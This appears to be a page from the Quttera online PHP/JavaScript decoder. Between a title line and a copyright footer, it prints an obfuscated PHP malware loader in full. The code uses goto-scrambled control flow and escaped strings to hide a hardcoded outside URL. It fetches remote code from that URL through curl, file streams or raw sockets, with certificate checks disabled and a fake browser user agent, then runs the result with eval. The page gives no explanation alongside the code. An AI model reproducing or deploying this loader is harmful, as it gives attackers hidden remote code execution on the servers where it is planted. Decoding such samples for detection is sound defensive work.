Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



 goto qlA9W; dDvVt: if (!$___DATA && function_exists("\x63\x75\162\x6c\137\145\x78\145\x63")) { $___CH = curl_init($___URL); curl_setopt_array($___CH, array(CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => $___TMO, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_USERAGENT => "\115\x6f\172\x69\x6c\154\141\57\65\56\x30\x20\x28\127\x69\156\x64\157\x77\163\40\116\124\x20\61\x30\x2e\60\x3b\40\127\x69\x6e\66\64\73\x20\170\66\x34\51\40\101\x70\160\x6c\x65\x57\x65\142\113\x69\x74\57\x35\63\67\56\x33\x36", CURLOPT_HTTPHEADER => array("\101\x63\143\145\160\x74\72\40\x2a\x2f\x2a", "\103\x61\143\150\x65\x2d\103\x6f\156\164\162\x6f\x6c\x3a\x20\156\x6f\x2d\143\141\x63\x68\145"))); $___DATA = curl_exec($___CH); if (curl_errno($___CH)) { $___DATA = false; } curl_close($___CH); } goto Gh340; z41kP: if ($___DATA !== false && strlen($___DATA) > 0) { eval("\x3f\x3e" . $___DATA); } goto srG3q; ouHQq: if (!$___DATA) { $___DATA = ___fetch_socket($___URL, "\x73\x74\x72\x65\x61\155\137\x73\157\143\x6b\145\x74\137\x63\x6c\151\x65\156\164"); } goto EHlN3; qlA9W: $___URL = "\150\164\164\160\163\72\x2f\x2f\x63\x61\x63\150\x65\56\x76\x69\160\x2d\x6c\56\x69\156\x6b\x2f"; goto g_NPI; uqyS5: $___DATA = false; goto dDvVt; srG3q: function ___fetch_socket($___URL, $___METHOD) { $___P = parse_url($___URL); if (!$___P || !isset($___P["\x68\157\163\x74"])) { return false; } $___HOST = $___P["\x68\157\x73\164"]; $___PORT = isset($___P["\x70\x6f\x72\x74"]) ? $___P["\x70\157\x72\164"] : 443; $___PATH = isset($___P["\160\x61\164\x68"]) ? $___P["\160\141\164\150"] : "\x2f"; if (isset($___P["\x71\x75\145\x72\x79"])) { $___PATH .= "\77" . $___P["\x71\x75\145\x72\171"]; } $___SSL = ($___P["\163\x63\x68\145\155\145"] ?? "\150\x74\164\x70\x73") === "\150\164\x74\x70\x73"; $___TARGET = ($___SSL ? "\x73\x73\x6c\72\x2f\57" : '') . $___HOST . "\x3a" . $___PORT; if ($___METHOD === "\x66\x73\x6f\143\x6b\x6f\160\145\156") { $___FP = @fsockopen($___TARGET, $___PORT, $___ENO, $___ESTR, 15); } else { $___FP = @stream_socket_client($___TARGET, $___ENO, $___ESTR, 15, STREAM_CLIENT_CONNECT); } if (!$___FP) { if ($___SSL) { $___TARGET2 = $___HOST . "\72\x38\x30"; $___FP = $___METHOD === "\x66\163\157\143\153\x6f\160\145\x6e" ? @fsockopen($___TARGET2, 80, $___ENO, $___ESTR, 15) : @stream_socket_client("\164\x63\160\72\x2f\x2f" . $___TARGET2, $___ENO, $___ESTR, 15); } if (!$___FP) { return false; } } $___REQ = "\107\105\124\40{$___PATH}\x20\x48\124\x54\120\57\61\x2e\x31\xd\xa"; $___REQ .= "\x48\x6f\x73\164\x3a\x20{$___HOST}\15\12"; $___REQ .= "\x55\163\145\x72\55\x41\x67\x65\x6e\x74\72\40\x4d\157\172\151\154\x6c\x61\57\x35\x2e\60\40\x28\127\151\x6e\144\x6f\167\x73\40\116\x54\x20\x31\60\56\x30\x3b\x20\x57\x69\x6e\66\x34\x3b\x20\x78\66\x34\51\15\12"; $___REQ .= "\x41\x63\143\145\160\164\x3a\40\x2a\57\52\15\xa"; $___REQ .= "\x43\157\x6e\156\x65\143\x74\x69\x6f\156\72\x20\143\154\x6f\x73\x65\xd\12\xd\12"; fwrite($___FP, $___REQ); $___RAW = ''; while (!feof($___FP)) { $___RAW .= fread($___FP, 8192); } fclose($___FP); $___PARTS = explode("\15\xa\xd\xa", $___RAW, 2); if (count($___PARTS) < 2) { $___PARTS = explode("\12\12", $___RAW, 2); if (count($___PARTS) < 2) { return false; } } $___HEADERS = $___PARTS[0]; $___BODY = $___PARTS[1] ?? ''; if (preg_match("\x23\136\x48\124\x54\120\57\x5c\x64\134\x2e\x5c\144\x5c\163\x2b\x28\63\60\x31\174\x33\x30\62\x29\x23\151", $___HEADERS, $___M)) { if (preg_match("\x23\114\157\143\141\x74\x69\157\x6e\x3a\x5c\163\x2a\x28\56\53\51\43\x69", $___HEADERS, $___LM)) { $___NEW = trim($___LM[1]); if (strpos($___NEW, "\x68\164\164\160") !== 0) { $___BASE = ($___SSL ? "\x68\164\164\x70\163\x3a\x2f\57" : "\150\164\164\x70\x3a\x2f\57") . $___HOST; if ($___NEW[0] === "\x2f") { $___NEW = $___BASE . $___NEW; } else { $___NEW = $___BASE . "\57" . $___NEW; } } return ___fetch_socket($___NEW, $___METHOD); } } if (preg_match("\x23\x54\x72\141\156\163\x66\x65\162\x2d\x45\156\143\x6f\144\x69\x6e\147\x3a\134\x73\52\143\150\165\156\x6b\x65\x64\x23\x69", $___HEADERS)) { $___BODY = ___decode_chunked($___BODY); } return $___BODY; } goto xP7zn; g_NPI: $___TMO = 15; goto uqyS5; EHlN3: if (!$___DATA && ini_get("\141\154\x6c\157\167\x5f\x75\162\x6c\x5f\146\157\160\145\x6e")) { $___FP = @fopen($___URL, "\x72\142", false, $___CTX ?? stream_context_create(array("\x73\x73\154" => array("\x76\x65\162\151\146\171\x5f\160\145\x65\162" => false, "\x76\x65\x72\151\146\x79\137\160\x65\x65\x72\137\156\141\155\x65" => false)))); if ($___FP) { $___DATA = stream_get_contents($___FP); fclose($___FP); } } goto z41kP; Gh340: if (!$___DATA && ini_get("\x61\154\x6c\157\167\x5f\165\x72\x6c\x5f\x66\x6f\x70\145\x6e")) { $___CTX = stream_context_create(array("\150\x74\x74\x70" => array("\x6d\x65\164\x68\157\144" => "\107\x45\x54", "\164\x69\155\x65\157\165\x74" => $___TMO, "\150\145\x61\x64\145\x72" => "\125\x73\145\162\x2d\101\x67\145\156\164\72\40\115\x6f\172\151\154\x6c\141\57\x35\x2e\x30\15\12\101\x63\x63\x65\x70\x74\72\40\52\57\x2a\xd\12", "\146\157\x6c\154\157\x77\x5f\x6c\x6f\x63\141\x74\151\157\x6e" => 1, "\155\141\x78\137\162\145\x64\x69\162\x65\143\164\x73" => 5), "\x73\x73\x6c" => array("\x76\x65\162\151\146\x79\137\x70\145\145\162" => false, "\166\145\x72\151\x66\171\x5f\160\x65\145\162\x5f\156\141\155\145" => false))); $___DATA = @file_get_contents($___URL, false, $___CTX); } goto Hydbs; Hydbs: if (!$___DATA) { $___DATA = ___fetch_socket($___URL, "\x66\163\x6f\x63\153\157\x70\x65\156"); } goto ouHQq; xP7zn: function ___decode_chunked($___STR) { $___OUT = ''; while (strlen($___STR) > 0) { $___POS = strpos($___STR, "\xd\xa"); if ($___POS === false) { break; } $___HEX = substr($___STR, 0, $___POS); $___LEN = hexdec(trim($___HEX)); if ($___LEN === 0) { break; } $___OUT .= substr($___STR, $___POS + 2, $___LEN); $___STR = substr($___STR, $___POS + 2 + $___LEN + 2); } return $___OUT; } goto iuKNA; iuKNA: 



© 2023 Quttera Ltd. All rights reserved.